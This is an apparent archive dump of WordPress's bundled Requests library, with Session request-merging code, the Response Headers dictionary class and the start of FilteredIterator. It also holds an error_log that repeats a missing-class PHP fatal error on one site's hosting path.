	 * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
	 * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));

		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * @see \WpOrg\Requests\Requests::request_multiple()
	 *
	 * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		foreach ($requests as $key => $request) {
			$requests[$key] = $this->merge_request($request, false);
		}

		$options = array_merge($this->options, $options);

		// Disallow forcing the type, as that's a per request setting
		unset($options['type']);

		return Requests::request_multiple($requests, $options);
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

	/**
	 * Merge a request's data with the default data
	 *
	 * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
	 * @param boolean $merge_options Should we merge options as well?
	 * @return array Request data
	 */
	protected function merge_request($request, $merge_options = true) {
		if ($this->url !== null) {
			$request['url'] = Iri::absolutize($this->url, $request['url']);
			$request['url'] = $request['url']->uri;
		}

		if (empty($request['headers'])) {
			$request['headers'] = [];
		}

		$request['headers'] = array_merge($this->headers, $request['headers']);

		if (empty($request['data'])) {
			if (is_array($this->data)) {
				$request['data'] = $this->data;
			}
		} elseif (is_array($request['data']) && is_array($this->data)) {
			$request['data'] = array_merge($this->data, $request['data']);
		}

		if ($merge_options === true) {
			$request['options'] = array_merge($this->options, $request['options']);

			// Disallow forcing the type, as that's a per request setting
			unset($request['options']['type']);
		}

		return $request;
	}
}
Response/Headers.php000064400000006035152223033010010421 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */

namespace WpOrg\Requests\Response;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\FilteredIterator;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */
class Headers extends CaseInsensitiveDictionary {
	/**
	 * Get the given header
	 *
	 * Unlike {@see \WpOrg\Requests\Response\Headers::getValues()}, this returns a string. If there are
	 * multiple values, it concatenates them with a comma as per RFC2616.
	 *
	 * Avoid using this where commas may be used unquoted in values, such as
	 * Set-Cookie headers.
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return string|null Header value
	 */
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->flatten($this->data[$offset]);
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			$this->data[$offset] = [];
		}

		$this->data[$offset][] = $value;
	}

	/**
	 * Get all values for a given header
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return array|null Header values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
	 */
	public function getValues($offset) {
		if (!is_string($offset) && !is_int($offset)) {
			throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Flattens a value into a string
	 *
	 * Converts an array into a string by imploding values with a comma, as per
	 * RFC2616's rules for folding headers.
	 *
	 * @param string|array $value Value to flatten
	 * @return string Flattened value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
	 */
	public function flatten($value) {
		if (is_string($value)) {
			return $value;
		}

		if (is_array($value)) {
			return implode(',', $value);
		}

		throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
	}

	/**
	 * Get an iterator for the data
	 *
	 * Converts the internally stored values to a comma-separated string if there is more
	 * than one value for a key.
	 *
	 * @return \ArrayIterator
	 */
	public function getIterator() {
		return new FilteredIterator($this->data, [$this, 'flatten']);
	}
}
Response/error_log000064400000057200152223033010010252 0ustar00[19-Sep-2024 20:14:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[19-Sep-2024 20:29:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[10-Nov-2024 08:52:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[10-Nov-2024 11:33:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[13-Nov-2024 09:51:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[17-Nov-2024 02:13:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[19-Nov-2024 00:35:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[16-Jan-2025 06:42:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[16-Jan-2025 07:46:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Feb-2025 01:46:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Feb-2025 02:35:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Feb-2025 06:14:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Feb-2025 06:25:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[29-Mar-2025 10:11:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[13-May-2025 10:04:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[13-May-2025 10:04:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[13-May-2025 10:04:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[13-May-2025 10:04:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 11:58:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 11:58:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 11:58:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 11:59:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 14:33:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 14:33:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 14:33:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-May-2025 14:33:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[18-Jun-2025 16:52:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[19-Jul-2025 09:14:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[08-Aug-2025 12:13:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[08-Aug-2025 12:13:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-Aug-2025 05:57:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-Aug-2025 05:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[20-Aug-2025 23:27:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[21-Aug-2025 20:03:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Aug-2025 21:08:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Aug-2025 21:08:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[26-Aug-2025 06:19:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[26-Aug-2025 06:29:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[27-Aug-2025 13:50:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Sep-2025 00:30:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Sep-2025 00:50:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Sep-2025 01:49:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Sep-2025 01:58:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[09-Sep-2025 17:35:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[09-Sep-2025 17:49:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-Sep-2025 15:02:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-Sep-2025 15:11:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[18-Sep-2025 16:53:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[18-Sep-2025 17:07:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[19-Sep-2025 06:24:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[19-Sep-2025 06:39:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Sep-2025 12:31:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[22-Sep-2025 12:49:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[25-Sep-2025 21:51:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[25-Sep-2025 22:04:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Oct-2025 10:36:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Oct-2025 10:44:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Nov-2025 08:24:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[02-Nov-2025 08:33:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Dec-2025 18:38:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Dec-2025 18:52:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[23-Dec-2025 11:31:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[23-Dec-2025 11:52:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[24-Dec-2025 14:43:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[24-Dec-2025 15:09:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Jan-2026 10:03:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[04-Jan-2026 10:13:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Jan-2026 00:39:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Jan-2026 01:13:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[06-Jan-2026 01:26:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[13-Jan-2026 23:45:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
[14-Jan-2026 00:06:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Utility\CaseInsensitiveDictionary' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Response/Headers.php on line 20
Response/.htaccess000064400000000000152223033010010115 0ustar00Utility/FilteredIterator.php000064400000004155152223033010012164 0ustar00<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
